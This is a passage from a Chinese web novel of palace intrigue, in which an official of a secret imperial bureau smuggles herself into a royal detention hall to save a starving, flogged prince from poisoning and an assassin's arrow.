萧回泄了口气,看向侍立的金吾卫,轻轻地摇了摇头。等他们再抬起大杖时,幅度明显变小了。萧锦就在一边望着萧沃,眼泪簌簌地掉。
今天萧回差点就把萧沃给打死了。
—
首辅府中,气氛凝重得能挤出水来。
赵鹤坐在正位,皱着眉头闭目。萧回则坐在偏位,不甘心地咬着后槽牙。
“殿下做错了很多事。”赵鹤睁开眼,幽幽地说,“闹成这样,就是您举棋不定的代价。”
“岳丈,这一切与本王何干?”萧回不满地说,“从一开始,我就不希望你们这么做,一旦东窗事发,我怎么办?”
“殿下是想跟我们割席吗?”赵鹤沉声道,“来不及了。”
“本王也没辙!”萧回愤怒地拍扶手,“父皇已经下令让乔竹心去查林汝为的奏本了,你不是说,那些奏本已经被拦在京外,已经烧了吗?那为何晦朔司中还有抄本?”
“我们的人的的确确把奏本拦在了京外,内阁也确实没收到原件。”赵鹤泄了口气,“估计林汝为一份奏本,分好几路往京城送,我们的人能拦住一份,但拦不住好几份。”
萧回捏捏自己的眉心:“晦朔司有抄本,但内阁没原件。原件要不在乔竹心手里,就是在父皇手里……父皇一早就知道本王在西北做的那些事,大哥今日告发我,也就是把秘密挑到了明面上来。”
赵鹤望向门外:“好在陛下最后选择了殿下。”
萧回问:“你们是不是往晦朔司大考中塞人了?”
赵鹤凝视他,默认了。
萧回:“她们参加了加试,对不对?”
赵鹤不语。
萧回的心咚咚直跳:“她们没有一个活下来,对吗?”
赵鹤绝望地闭上眼睛,默认了。
萧回讽刺地笑出了声:“怪不得父皇会选本王,怪不得萧沃会说什么‘天命’、‘选择’……”
赵鹤恍然大悟:“大殿下都跟您说了什么?”
萧回抱住了脑袋,他不甘心地锤脑门,不停地叹息:“怎么办……怎么办……”
“活下来的那个,是大殿下的人?”赵鹤恍然大悟,冷汗涔涔,“陛下一定都知道了
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,所以他要再选一次,如果这一局大殿下又胜了,殿下您将再无翻身之日。”
萧回沉默。
“陛下让您去西北查贪,我们正好可以借此机会,把西北的一切都抹平。”赵鹤理顺了思路,“我们会让西北那几个认下所有罪行,除夕前,此案一定会结案。”
萧回依然沉默。
赵鹤说:“您万万不可耽搁,当即刻动身,以雷霆手段查贪,动静闹得越大越好。”
“你说,父皇知道那事吗?”萧回抬眸望向赵鹤,双眼猩红。
“您且放心,陛下应该是不知道的。”赵鹤说,“晦朔司的手伸不到边境,而且,几个知道内情的,我早就派人去处理了,扫得干干净净。”
萧回呢喃道:“亡羊补牢……”
“为时不晚。”赵鹤说,“殿下,莫要担心。您别忘了,我们始终都有后手。萧沃没兵没权,不是您的对手。”
萧回向后倚:“对啊,他没兵没权,又是如何活到现在的?他无功有过,本王战功累累,但储位至今空悬。岳丈,你说他不是本王的对手,但本王为何心里发慌?”
赵鹤:“帝心难测。”
“在父皇眼里,我和他都是一样的。”萧回讽刺地说,“我们与父皇养的豹子没什么区别,他把我们放在一个笼子里,互相撕咬,直到一方咬死另一方,我们才配成为父皇的儿子。”
赵鹤听出他话中的悲哀,道:“天家父子一直如此。”
“可本王从来没有期待过那个位置。”萧回抬眸望向赵鹤,“比起多雾的上京,本王更喜欢天高气爽的边疆。”
赵鹤反问:“殿下说这些话,对得起皇后娘娘,对得起赵家吗?”
“自然对不起。”萧回说,“我为了皇位而生,你们都默认我会走到那个位置,把你们的欲念强加在本王的身上,不管本王愿不愿意,都把本王往上推。”
赵鹤腾的一下子站起来:“殿下!”
萧回继续说:“你们太强了,你们太可怕了,本王日日夜夜都怕追不上你们。”
赵鹤压着火说:“请殿下不要把今天的失败赖在我们头上。”
“我怕了!”萧回站起来,“你知道萧沃有多恐怖吗?他什么都做得出来,他比本王豁得出去!本王与他,在父皇心里都是一样的!这一局我或许会赢,那以后呢?一旦他知道我们的秘密,结果如何,本王真的不敢想。”
赵鹤问:“殿下什么意思?”
萧回说:“我们的错,总得有人来承担。岳丈,你也不希望照儿随本王去死吧。”
赵鹤讽刺道:“殿下的意思是,一旦东窗事发,由我……不,是赵家来承担一切罪责?”
“若连根拔起,母后也难逃一死。”萧回说,“岳丈更不希望母后死吧?”
赵鹤怒道:“赵家倒了,屹王府难道会独善其身?”
萧回不回答。
赵鹤说:“我不能拿全家上下几百条人命开玩笑。”
萧回嗤笑:“那岳丈最好不要让萧沃活着出宗正寺。”
“咕咕咕……”有信鸽停在了赵鹤的窗前。
萧回回眸瞥了一眼:“晦朔司来消息了。”
赵鹤剜了他一眼,匆匆过去拆信,眉头舒展开来:“她说,陛下密旨,奏本一事,不查了。”
“好啊,”萧回说,“这不正说明,父皇什么都知道吗?”
“殿下始终都处于上风。”赵鹤两指夹着字条,借烛火燃尽,“如今谈割席,不是时候。您且去西北查贪,宗正寺里那位,我自然会想办法。”
萧回盯着他的背影:“你最好说到做到。”
“不会扯上屹王府。”字条燃尽,赵鹤攥紧了拳头,“若真到了那一刻,我自会决断。”
“好。”萧回说,“本王相信岳丈。”
19. 司规
兰见春被分到了朔院甲处,成为了一个处理废纸的小吏。
甲处千户名为虞水,是兰见春的顶头上司。
处理的废件都是两年前的东西,各式各样的文件很多。兰见春需要筛选这些文件,将有用的东西留下,再将大部分无用的烧掉。
其实送到她这里的文件已经是其余部门审核过的,十有九成半都是无用的,但她仍然要审,职责所在。
兰见春的废件室有两层高,书架排得都很密,中间空隙只能通过一个人。她查看了书架编号,发现所有废件都已经按照年份、地区的顺序排列好。
她看到了来自潼裕的废件。
她翻开盛平八年的记录,恰好是林汝为的奏本,其中写了潼裕连旱月余、百姓艰难求生的事,另外又向陛下要了四万两白银的赈灾款,皇帝回批了一个“准”字。
兰见春确实记得盛平八年的旱,但她不记得朝廷有赈灾。
四万两白银去哪了?人间蒸发了?兰见春把废件又放了回去,这不能烧,这是潼裕官员贪腐的证据。
“兰见春。”敲门的是虞水,“晦朔司入司仪式就差你了,快些。”
兰见春慌张地把卷宗放回去,赶紧回应虞水:“来了!”
她擦擦汗,赶紧拉开了门:“千户!我就来。”
“快些,其他处的人都已经到了,”虞水小声说,“我们慢了,丢的可是朔院的脸。”
兰见春赶紧跑起来,两人很快就到了晦朔司前厅。乔竹心、左右分别是吴泪、连云栈。
乔竹心一脸欣赏地望着新进司的女儿们,听到脚步声,回头一看,来的正是虞水和兰见春。
她脸上的笑容消失了。
她认识兰见春,这就是那个赤手空拳对付两只豹子、最后全身而退的人。
吴泪给她们使了个眼色,示意她们快点回去。虞水吩咐兰见春站到左面队伍最末的位置,自己则与其他千户一样站在了三位大人的后面。
今年晦朔司进了二十个新人,其中文试的前十名进朔院,剩下的十个进晦院。
兰见春武试成绩突出,本该进晦院,但不知为何与文试成绩高的九个人一起进了朔院。
女官给每个新到晦朔司的人都斟了酒,兰见春是最后一个拿到酒杯的。凛冽的酒香扑鼻,她却感觉不对劲。端起杯仔细闻了闻,越发感觉这不是一般的酒。
乔竹心端起酒杯,吴泪、连云栈紧随其后,说:“恭喜诸位进入晦朔司。饮下这杯酒,我们便是一同为陛下分忧的同袍。”
说罢,她便饮下了酒。兰见春周围的人都喝,她也跟着把酒喝干了。
乔竹心确认每个人都饮下了酒,笑着说:“仰仗陛下恩德,才有了今日的晦朔司,才有我等的富贵荣华。望各位同仁日后处处以陛下为先,切莫做出悖逆陛下之事。不结党、不站队,尤其要远离诸位皇子。”
“是。”所有人齐声说。
兰见春躬身行礼,感觉乔竹心最后那句话就是对自己说的一样。
乔竹心继续说:“晦朔司内处处有眼睛,你们做的任何事,都逃不过陛下的眼睛。还望各位以大局为重,以自己的前途为重,莫要因为小恩小惠、家族利益而违背晦朔司约定。”
“是。”
“晦朔司的规矩,晚些会发到各位手上,各位要将其熟记于心。”乔竹心说,“有何不明白的,尽管问各处千户。”
“是。”
那杯酒下肚,兰见春感觉胃口火烧火燎的不舒服,她有些想吐,她猜是早晨吃坏了肚子。
等到乔竹心放她们走,兰见春赶紧去了趟茅厕吐了个干净。说来也怪,吐过之后就不难受了。
回废件室的路上,她看见虞水与甲处的官员急匆匆地去见了同知。她有些好奇,便跟了上去。
虞水瞧见她跟上来,也没说什么,领着她一块进了吴泪的书房。
吴泪说:“屹王殿下还有五日便要出发去潼裕,你得在他离京之前,把潼裕四年的文件都调出来。”
虞水惊讶地说:“同知,是所有吗?”
“对,所有。”吴泪说,“财政收支、官员升迁、兵马调动……能找到多少是多少,日后我们都要查。”
虞水犯了难:“甲处统共有十二名官员,恐怕我们还没查完,屹王殿下就回来了。”
吴泪看了一眼门,虞水赶紧去把门关上了。吴泪站在她跟前,小声说:“陛下吩咐屹王,每隔一天便向上京飞鸽传书,将所查内容汇报给朔院。我们可以据屹王的思路再查一遍。”
虞水小声说:“若是我们查的与殿下的结果不同,又当如何?”
吴泪肃声道:“我将如实报给陛下。”
“下官怕……”虞水说,“林汝为奏本一事,朔院就得罪了屹王府。这次查贪,陛下指定让屹王去查,我们再查,算不算违背圣意?”
吴泪:“违背圣意也要查,若上位怪罪下来,由我一人承担。”
“是。”虞水知道吴泪心意已决,她便不再多说什么,就要带着手下人离开这里。
兰见春跟在队伍的最后面,在吴泪的书房中逗留最久。
她原想现在就告诉吴泪自己的遭遇和在废件室的发现,又想到萧沃对她说的,不要轻信晦朔司的任何人,才决定跟着人一起离开。
皇帝为何让屹王去查,这不是自己查自己,给他机会全身而退么?那萧沃呢?这样的结果必然不是他想看到的,那他现在在哪?怎么样了?
“陛下肯定要废了岷王。”
兰见春激灵一下,余光一看,自己拐到了茅厕后面。
这里烟草味很浓,呛鼻子,有三个晦院的官员聚集在此处抽烟枪。
兰见春踮起脚,看见了她们的脸——是她的同期,都进了晦院。
兰见春藏在墙角里偷听她们说话,心就跟军营里的笳鼓一样“咚咚咚”地跳。皇帝要废了萧沃吗?皇帝不要他了吗?废了,那跟杀了他有什么区别?!大殿下呀,您到底干了什么!
“这可不能乱说,还没下旨呢。”
兰见春松了口气,心情稍微平复了些。还好,没下旨,这事还有缓。
“迟早的事。那天他干的事,简直惊世骇俗。”
兰见春的心又提到了嗓子眼,惊世骇俗?什么意思?!
“可惜呀!明明陛下都同意查潼裕贪腐了,虽说是自己人查自己人,但在岷王重压之下,屹王肯定能查出一批贪官来。”
“结果这还不同意,岷王居然当着百官的面,摘了乌纱帽脱了官服!胆大包天!照我看,陛下给他二十廷杖,打入宗正寺,都算是轻的!”
兰见春心想,廷杖?皇帝居然廷杖了皇长子?!当廷摘乌纱帽!萧沃,疯了吗!何至于如此鱼死网破!
“活该吗这不是?是,确实,陛下确是偏袒屹王。但这岷王不也是把陛下夹在火上烤么?”
兰见春咬紧了下嘴唇,心说:何至于此,何至于此?!怪不得那天晚上你愁眉不展,原来早就盘算好了背水一战!为什么不跟我说你要这么做,我肯定会拦着你,宁可这案子晚点查,不查到底,也不能把脸面跟命都搭进去呀!
“不光如此,岷王在宗正寺里还闹绝食,半步不肯退。要不是太医一直在旁边守着,估计早就归西了。”
兰见春心都要碎成末末被风吹走了。她知道萧沃这都是为了潼裕百姓,为了公道,可如此不要命地去争,兰见春是又为他愤慨,又为他感动,还为他不值。
她不禁问,这样不拿人当人的皇帝,这样挣命去争,真的有用吗?
“绝食这招对陛下根本没用。唉……可惜,岷王确实偏激,可他一心为公为民,到头来落居然得个这么个下场。”
兰见春心眼不好受。他劝自己要低调要蛰伏,自己却在朝堂上以命相搏。为何要这么拼命呢?
潼裕成百上千的官鱼肉百姓,当官的习以为常,我们也都司空见惯。有什么不公,有什么冤屈,我们自己去争就够了,你为何不好好享受你的锦衣玉食,却为我们闯这一滩浑水——
何以为报呢?
兰见春哽咽,萧沃出身在那样冷冰、残忍的皇宫,周围一圈豺狼虎豹,可他并没有变成如那些人一样的凉薄,而是长出了孤傲坚硬的骨头,长出了温烫丰满的血肉。
他拿平民百姓当人,在乎平头百姓的死活,还用命去为他们争一个公道。兰见春的心很烫,她流出眼泪,顿时感觉剩下的路不难走了,她愿意走下去了。
“你们说,陛下会不会废了他?”
“不确定。岷王为了潼裕百姓拼命,温如璋、海益等清流为他竭力争辩。但他当堂脱官袍、在宗正寺中绝食以威胁陛下,打的是陛下的脸。”
“朝中支持废黜殿下的,可比为他说话的人多得多……”
兰见春抓紧了墙壁,指甲刮下来了墙灰,在上面留下了清晰的痕迹。她愤怒,恨那些穿朝服的衣冠禽兽,恨他们为了一己私欲,合起伙来要摧毁一颗赤子之心。
“议论皇子权争,照司规,鞭二十,并逐出晦朔司。”
兰见春吓了一跳,微微探出头去看,说话的正是朔院同知吴泪,她盯着这几个人,神情严肃得好像在给谁上坟。
领头的那个跪下来,赶紧求饶:“同知!我们知错了!”
吴泪:“出来。”
她们纷纷说:“同知,真的知错了,
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您放过我们吧!”
吴泪突然大呵一声:“出来!”
这几个人不敢再求饶,纷纷灭了烟枪,拐出了小窄道。兰见春吓得往更深处去退,捂住了嘴巴,大气不敢出。
吴泪吩咐身后的虞水:“禀告司丞,本官抓到晦院的人议论皇子,让晦朔司所有官员来观刑。”
“是!”
“咚——咚——咚——”
三声钟声后,晦朔司所有官员聚集在院中空地内。乔竹心脸色如铁,身后是冷静的吴泪和敢怒不敢言的连云栈。
兰见春站在人群的最后,连头都不敢抬。
她听见乔竹心说:“晦朔司明令,禁止所有官员在司内议论皇子。你们几个明知故犯,不可轻饶。”
“饶命啊司丞!”那几个人齐声说。
“司丞,”连云栈说,“这几个孩子都是今年新来的,不清楚规矩难免犯错,既然吴同知骂也骂过,司丞就……免了她们的刑罚吧。”
乔竹心却说:“不可徇私。”
话音刚落,乔竹心的手下就拎着鞭子过来。
鞭子抽在人||肉上,那声音像崩断的弦。一开始,那几个人还喊叫几声,之后,兰见春就听不见她们的叫喊了。
她微微抬起头,看见台上那三人被打得皮开肉绽,白花花的皮肤裸露在外,血都晕透了藏蓝色官袍。
连云栈恨铁不成钢地盯着那三个人,又跟乔竹心求情:“司丞打也打了,就不要再把她们逐出司了吧。”
乔竹心盯着整个司的官员,一声不吭。
“她们好不容易才考进来,”连云栈小声说,“司丞,您就当是给孩子们一个悔过自新的机会,行吗?”
吴泪冷眼瞪连云栈的背影。
乔竹心:“取她们的令牌来。”
连云栈有些急了:“司丞!”
乔竹心:“取来!”
兰见春看着她把那三个人的令牌扔进了火盆。
“逐出晦朔司,永不可参加擢选大考。”乔竹心说,“拖出去。”
整个院子都鸦雀无声。
那几个人被拖走的时候,正好经过了兰见春,她不敢看她们的眼睛。
留给自己的结局是什么呢?是死无葬身之地吗?
兰见春很害怕。
这天晚上,吴泪把一沓厚厚的司规放在了兰见春的书桌上。
“司丞说,入司新人要将司规抄三遍。”
“谢谢同知。”兰见春说,“劳您特地跑一趟。”
吴泪看了眼外面,小声说:“其实今天那几个人,本可以从轻处罚。至少不会像现在这样,又丢了脸,又丢了差事。”
兰见春的笑容僵在脸上。
吴泪侧眼看她:“司丞是以儆效尤。”
兰见春战战兢兢地点头。
“晦朔司每年都会走很多人,死的死,走的走,这里日子不好过。”吴泪说,“那么多双眼睛盯着,你也不想死无葬身之地吧。”
兰见春额头渗出缜密的汗珠。死无葬身之地……难道,吴泪已经知道自己跟萧沃的关系了?
“你明白我的言外之意。”吴泪假装帮她整理桌上的废件。
兰见春咽了口唾沫,说:“是。”
“入司的那杯酒,”吴泪低声说,“是毒。”
兰见春猛然抬起头:“……毒?”
“解药在陛下手中,每个月,宫里都会派人送来解药。”吴泪说,“倘若陛下察觉到谁有二心,自然就断了解药。不出两个月,此人必死无疑。”
兰见春想起那三个被逐出司的官员。
“所以那三个人,活不成了。”吴泪哼了一声,她大概是也觉得悲凉吧,“不过,为人臣子,忠心是最起码的,对不对?前朝的官若有二心,不也是死路一条吗?”
吴泪是在点她,不要帮萧沃了。
原来萧沃嘱咐她的独善其身,是这个意思。他知道晦朔司的人不能与皇子有牵连——这在皇帝眼中,是“不忠”。
怪不得每次萧沃来找她都是在深夜,其实是怕连累她。兰见春心里越发悲凉,她想帮萧沃,萧沃拿她当人,她不想效忠于陛下,陛下不把所有人当人。
可她没有一点办法。
只要她还想继续往下查,想让屠杀吴沟村的人血债血偿,她就必须遵守规则,“悖逆”着良心活下去。
兰见春声音颤抖:“多谢同知提点。”
“那些人怎么样,与我们无关。”吴泪说,“我们晦朔司,只做帝王的刀。唯有如此,我们才能活。”
兰见春频频点头:“是,是……”
“言尽于此,”吴泪微微颔首,“你好自为之。”
20. 救我
萧沃入宗正寺之后的第五天的晚上,有人深夜叩响兰见春的房门。
她一开门,门外的男人就俯身拱手行礼:
“之前是行远怠慢了兰夫人——”
她微微侧头,发现是磬音楼的东家顾鸥。
顾鸥从身后侍从的手中取过一只螺钿盒子,打开之后,是一条价值不菲的珍珠项链:“一点薄礼,还望兰夫人原谅。”
那件事都过去多久了,顾鸥怎么今天上门来赔礼道歉?这人无事不登三宝殿,他们之间的联系就是萧沃。顾鸥上门来赔罪,也只能是因为萧沃。
兰见春没有拿他的礼,问:“东家有什么事,尽管说吧。”
“行远斗胆,求兰夫人救救荫槐。”顾鸥双手捧着盒子,“五天了,他在宗正寺粒米不进,要熬死了。”
兰见春想起那三个因为议论萧沃而被处置的晦院官员,虞水又因此特地来废件室提点她两句,道理明摆着——她不能管萧沃的事。
兰见春说:“宗正寺是皇家禁地,我……我也没办法。”
顾鸥哽咽道:“我能帮兰夫人想办法,我能把兰夫人送进去,但……我们都劝不了荫槐。行远想,兰夫人能不能……能不能劝劝荫槐,跟陛下低头认错吧。”
兰见春沉默。
“他身上还有廷杖留下的伤,不能再熬了,再熬,真的没命了。”顾鸥把螺钿盒子塞进兰见春怀里,“求你了。”
“我……”兰见春顿了许久,还是把盒子还了回去了,“我也无能为力。”
顾鸥捧着盒子:“如果你是因为我过去怠慢了你,我可以给你赔更多的礼,我也可以给你磕头赔罪。”说罢就已经撩衣服准备跪了。
兰见春伸出双手拦住他:“不是因为东家!东家误会了。”
“荫槐对你很上心,他甚至为了你,给我好一顿数落。”顾鸥道,“我是他的陪读,长这么大、那么多年,他都没跟我红过脸。他是真的在乎你,没有他,你怎么进得去晦朔司?”
顾鸥在埋怨她凉薄,兰见春咬着下嘴唇,无话可说。
“你要眼睁睁看他去死吗?”顾鸥从牙缝中挤出字来,“他这么做,都是为了谁?难道是为了储位吗?他若是为了储位,为何要与陛下针锋相对?为何遭挨打挨饿的罪?!”
“你别说了,”兰见春低下头,“求你别说了。”
顾鸥擦擦鼻子:“如果他听我们的话,但凡我们有一点办法,我都不会来求你。”
“司规森严,我没那个胆量。”兰见春往后退,准备关门。
顾鸥一手撑住门,手臂青筋暴起,他气得脸都红了,他死死盯着兰见春的眼睛,盯得她浑身冰凉,盯得她无地自容。
“人人都知道要自保。”顾鸥低声说,“老天怎么生了萧荫槐这个大傻子。”
兰见春伏在门框上,头都埋到了地下,她害怕得瑟缩。
“罢了。”顾鸥抹了把脸,顺势擦去了眼泪,“对不起,我不该逼你。罢了……罢了……”
顾鸥抽噎着,转身离开。
兰见春望着他落寞的背影,想起初见萧沃时他就花钱给自己请郎中、买最好的药材;想起他为了文试,从晨起就盯自己功课,直到晚上自己歇息了,萧沃还在挑灯修改自己的策论;想起他为了给潼裕人争一个公道,拼出了这条命。
——陛下当着群臣的面廷杖你的时候,你该有多疼呢?如此多年守护的本心,让大杖击了个粉碎,你疼死了吧?
是啊,顾鸥说得对,如果没有萧沃托举,别说进晦朔司了,自己恐怕都得死在逃亡的路上。
怎么轮到自己这,却瞻前顾后,害怕得要命呢?
晦朔司已经知道了自己是谁送过来了,对啊,她们已经知道了。只要她们想,随时都可以把自己划为岷王党。
都已经这样了,自己还怕什么呢?
“好。”兰见春低声说,“我愿意去宗正寺。”
前面的顾鸥还以为自己听错了,一开始,仅是驻足。
“东家安排吧。”兰见春说,“我会劝他放弃。”
顾鸥迟疑良久,缓缓回头,他松了口气,俯身再次给兰见春行礼。
—
顾鸥的办法就是把兰见春藏在菜篮子里,跟着板车一块送往宗正寺。
一路上,她抱着一只小食盒,藏在一堆白菜下面,摇摇晃晃窝窝囊囊地进了宗正寺。
宗正寺又大又荒凉,到处都是颓圮的墙和腐朽的树。她不知道走了多少冤枉路,才看见了那间燃着小油灯的房间。
她敲门,没人应答。她透过门缝往里看,发现萧沃就趴在地上。脸颊深深地往下陷,臀部的血都晕透了纱布。他瘦得只剩骷髅架子,乍一看就跟饿死的尸体一样。兰见春马上就哭了。
兰见春从腰间拔出一支匕首,从门缝插进去挑开了门闩。
萧沃听见门响,眼睛睁开了一条缝。发现来的是兰见春,他抬起右手往外甩了两下,意思是让她走。
兰见春差点被门槛绊倒,她踉踉跄跄地摔进了他的房间,手中食盒差点洒了出去。她抱着盒子,有些不敢往萧沃身边去。
“走……”
萧沃不死心地挥着手。
兰见春把食盒放在地上,瘫坐在他身边。她伸出手,轻轻碰了碰他的指尖,是冰凉的。
“你别吓我……”兰见春怕的不行,萧沃就像要熄未熄的烛火一样,感觉一阵风来,就能把他的命带走。
似是无意,萧沃的食指尖划过了她的掌心,兰见春豆大的泪珠往下掉,在他手心汇成一个珍珠大的小水洼。
“吃点东西……”兰见春的手一直在抖,把粥从食盒里拿出来时,还差一点把碗摔了。她盛了半勺想给萧沃喂进去,结果喂不进,顺着嘴角流了出来。
兰见春赶紧用手帕帮他擦,萧沃望着她,眼睛没了光芒。
兰见春一直擦眼泪,她把碗放在了地上,爬到他头上去,咬牙把人抬了到了自己怀里。
她抱着萧沃,左手夹着他的脸颊,试图把他的嘴打开,右手则擓一勺粥,强行倒在了他嘴里,逼着萧沃喝了几口粥,还把人呛得胆汁快咳出来了。
“为什么来……”萧沃倒在她怀里,呆呆地望着房梁,“你不能来见我,会引火烧身……”
兰见春把碗端起来,想都给他灌下去:“来,多喝一点。”
萧沃把头一扭。
兰见春哭着说:“喝一点,求你了。”
萧沃闻声,努力抬起手,轻轻地为她擦去了眼泪。
“我太没用了。”
“殿下是这世上最好的人。”兰见春抚摸他的额头,将他蓬乱的头发都捋到了脑后,“除了殿下,再也不会有人如此在意我们这种人的死活了。”
“我没本事……”
“殿下不要这么说,”兰见春使劲摇头,“陛下已经下令严查潼裕贪腐,潼裕人都会记得殿下的。”
萧沃不说话,一直流着眼泪。
“就像殿下对我说的,来日方长。”兰见春说,“殿下不能急这一时,还要把自己的命搭进去呀。”
萧沃把头埋在她的臂弯里,眼泪很快就润湿了她的衣袖。
兰见春轻轻拍他的肩头,像安抚一只受伤的小鹿,她望着窗外,不知不觉眼泪就模糊了视线。
“外面都是雾。”兰见春轻声说,“上京的雾就没散过。”
“我不知道我是气父皇偏心,还是气自己没能耐。”
“殿下没有错,错的是陛下。”
风掠过树梢,卷下最后几片叶子,枯叶擦过青石板,发出沙沙的声音。萧沃疲惫地闭上了眼睛,他想睡觉了,永不复醒。
“殿下,吃一些吧。”兰见春把勺子递到萧沃唇边,哄孩子似的恳切,“啊,听话。”
“我胃痛,什么都吃不下。”萧沃脸颊贴在她的手腕内侧,微微动,还找了个更舒服的姿势窝在她怀里。
“会把身体熬坏的。”兰见春心疼地说,“只一点,一点也好呀。”
萧沃不动,他阖上了眼眸。
兰见春抱着他,他瘦得只剩骨头,真硌手,像抱了一团沙,无论她怎样用力,都没办法阻止萧沃的生命如沙子一般流逝。
忽然,他们同时闻见了一股腥味。
兰见春猛然抬起头,看见窗户的右下角藏着一个白点——是箭头的反光!她张开双臂,身子向下倾斜,而身下突然迸发一股巨大的力,将她向后推,她整个人向后倒,有人挡在了她身前。
是萧沃。
一道寒光刺破了他的右肩。
“殿下!”兰见春看见窗口闪过了一个人影,她想冲出去抓刺客,但萧沃把她摁在了身||下。
“别,别去……别撇下我……”
“殿下!”兰见春伸出颤抖的右手,把他揽进了怀里,恰好能看到他肩膀上的箭,弄了一脸血,她被烫到似的颤抖道,“您伤得很重,我得去给您叫大夫。”
“不要去,你会暴露的。”
“那也不能在这等死啊……”兰见春哭道,她的手一直在抖,“不要啊……”
萧沃强撑起脖子,望着她的眼睛,眼中似乎藏着千言万语。他伸出手,捧住她的脸颊,拇指腹拂过她的眉眼,不知道想起了什么,竟心满意足地笑了。
兰见春问:“疯了吗?”
萧沃说:“你以前可是……拿着刀剑威胁我的人,现在居然会……会心疼我。”
兰见春反问:“都什么时候了?殿下还有心情开玩笑!”
萧沃摇头:“伤得不重。”
兰见春望着他惨白的脸,吓得直哭:“可你本来都要饿死了,哪里还禁得起中箭?我要去找大夫,你别拦我,我现在就去……”
萧沃又一次把她摁了回去:“听我的。”
“我不想你死……”
“听我说,”萧沃包裹住她的手,“我现在还能喘气,我没事……你快走,别让他们发现你。”
萧沃眼中的不舍似曾相识,兰见春心都在滴血:“我帮你处理好伤口再走,好吗?”
萧沃没放开她,看起来不同意。
“我会很快的。”兰见春说,“东家都帮我找好了退路,你不用担心我。”
萧沃放开了她,兰见春腾出了手,把他扶
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了起来。她一手摁着他肩膀,另一手则一层层地脱掉萧沃的衣服,将伤处袒露在外。
兰见春看见他后背上有蜈蚣一样的鞭伤,她忍不住问:“这……”
“小时候,父皇用马鞭抽的。”
“他怎么能这么对你?”兰见春用掌根擦泪,“天底下竟有这样的父亲。”
“没事……早就好了。”
兰见春抽抽鼻子,从食盒中拿出金疮药和纱布,先擦去箭伤旁的血,再把金疮药一股脑地洒在伤口上。她慌里慌张的,一时没拿稳药瓶子,掉在地上,洒了一部分。
“别慌。”萧沃安慰她。
兰见春更止不住眼泪,她忍不住埋怨自己:“都怪我……”
“他们冲我来的。”萧沃愧疚地说,“这几日送来的饭食,都有毒。我扛到了今天,他们也按捺不住要来杀我……是我连累了你。”
兰见春以为他在安慰自己:“殿下……”
“我说的是事实。”萧沃气若游丝,“从我进宗正寺的第一日起,他们送来的饭菜,我都要给屋里那只老鼠吃。”
萧沃看向墙角,黑暗中,确实有一坨毛茸茸的肉团。
“第一天还没事,第二天的午饭就出问题了。”萧沃盯着死老鼠,“它死了。”
屋里静得能听见血滴在地上的声音。
兰见春用绷带绕过他的肩膀和胸膛,一圈又一圈:“殿下觉得,是谁干的?”
“老二。”萧沃悲凉地说,“那日的廷杖没要了我的命,他便要我没法走出宗正寺。”
兰见春沉默地为他包扎好,跪坐在他身后,望着他背后的疤痕。兰见春伸出指头,只敢用指尖轻触那些疤痕。微微的天光落在萧沃蜷曲的背上,鼓起的鞭痕泛着光,受了多少苦呢?
“殿下,现在……心里还疼吗?”
“疼。”
兰见春伸出双手,抚过他的肩膀,从背后抱住了萧沃。
当她的脸颊贴在那些伤疤上,萧沃忍不住瑟缩,他睁大了眼睛,被炽热得滚出了眼泪,一滴滴地打在兰见春的手背上。“母亲死后……从未……有人这样怜惜过我,从未……”
“活下去吧,”兰见春额头抵着他的后心,嗫嚅着,“活下去吧,殿下。”
萧沃握住了她的手。
“就当是为了我们,活下去。”
“我好累。”萧沃轻声说,“地上硬,抱抱我。”
兰见春帮他把衣服穿好,坐在他面前,朝他伸出了双手。萧沃倒在了她臂弯里,像漂泊已久的船终于找到了收留他的港湾。
兰见春望着他的后背,望着血慢慢地晕开成一片,眼泪止不住地滑进他的发间。
萧沃眨巴眨巴眼,困意潮水似的涌向他。他的眼皮像灌了铅似的,又挑不开了。
“殿下……殿下……”兰见春一直喊他。
但萧沃的精神随着血液慢慢地流逝着,他越来越困,越来越没力气,身体越来越冷。兰见春的声音越来越远,而另一个女人的声音越来越清晰:
“荫槐,荫槐。”
是先皇后景怡。
萧沃睁开眼,发现自己来到了一个灰蒙蒙的世界,烟雾缭绕、看不清方向。
“母后!”他大声喊,左顾右盼,焦急地寻找母后的身影。
但她化成了夜间的风,化成了路边的草木,化成了跃动的烛火,伴在他身旁。
萧沃一股脑地往前冲,视野逐渐变得清晰,他看到了红彤彤的曼珠沙华,看到了寂寞的奈何桥,看到了桥那头母后牵着泠妹的手,她们平静地望着他。
萧沃跌跌撞撞地冲上了桥,可母后却摇了摇头,转身向后走去。
他大喊:“母后!”
可景怡就像听不见似的,自顾自地离开。泠妹在她身边一蹦一跳的,还一个劲地回头看自己。
“母后!”萧沃跑到桥中间,桥竟然开始晃,不断有砂石砖块往下掉——桥要塌了。
萧沃还往前跑:“别丢下我!”
景怡驻足,回身望着他:“就站在那,别动。”
“母后,别撇下儿臣,好不好?”萧沃跪了下来,“您带儿臣走吧,儿臣真的累了……”
景怡无比留恋地摇头:“回去吧。”
萧沃给她磕头:“儿臣好累……您带我走,让我解脱,好不好。”
景怡做了个“走”的手势:“有人在等你,回去。”
大雾再起,萧沃再次迷失了方向,他听见脚步远去的声音,听见奈何桥不断坍塌的声音,还有一个女子一直说:“殿下,回来吧……求您,回来吧……”
他前后为难,最后还是使劲地往前跑,想追上母后的脚步。可脚下的桥却一寸寸地碎成了柳絮,不停地往下掉。
身后那个声音不死心地呼唤他:“回来吧——”
萧沃怎么追都追不上母后了,他扶着断桥,痛哭流涕。那声音如影随形,他想捂住耳朵,但无济于事。
大雾弥漫,吞没了断桥,吞没了忘川,像一双手把他揽在了怀里。萧沃紧紧抓住她的手,他的救命稻草。
“殿下,回来吧,回来吧……”
21. 认错
丑时,外面是一片黑漆漆。
怀里的人动弹一下,兰见春猛地惊醒,使劲晃动萧沃,问:“殿下!殿下!醒醒!”
屋里黑漆漆的,萧沃什么都看不见,但他闻见了一股味道——好闻,但谈不上香,却能让人心里踏实——像躺在了肥沃的土地上、闻着麦子香那样踏实。
他握住了兰见春的手:“我答应你……好好活着。”
兰见春松了口气,如释重负地闭上了眼。
他摇摇她的拇指:“我饿了。”
兰见春把粥碗扒拉到自己身前,手指触到碗底,失望地说:“粥都凉了。”
“没关系。”
兰见春便把碗端在他跟前,一勺一勺地喂他喝。
蔬菜粥凉了也有股鲜甜。萧沃绝食了这么多天,刚才又中了箭,喝点冷的心里也觉得好受。
“好喝。”萧沃抬头看兰见春,眼里有些光了,期待地问,“是你做的吗?”
兰见春答:“是。”
萧沃心满意足地说:“我好喜欢。”
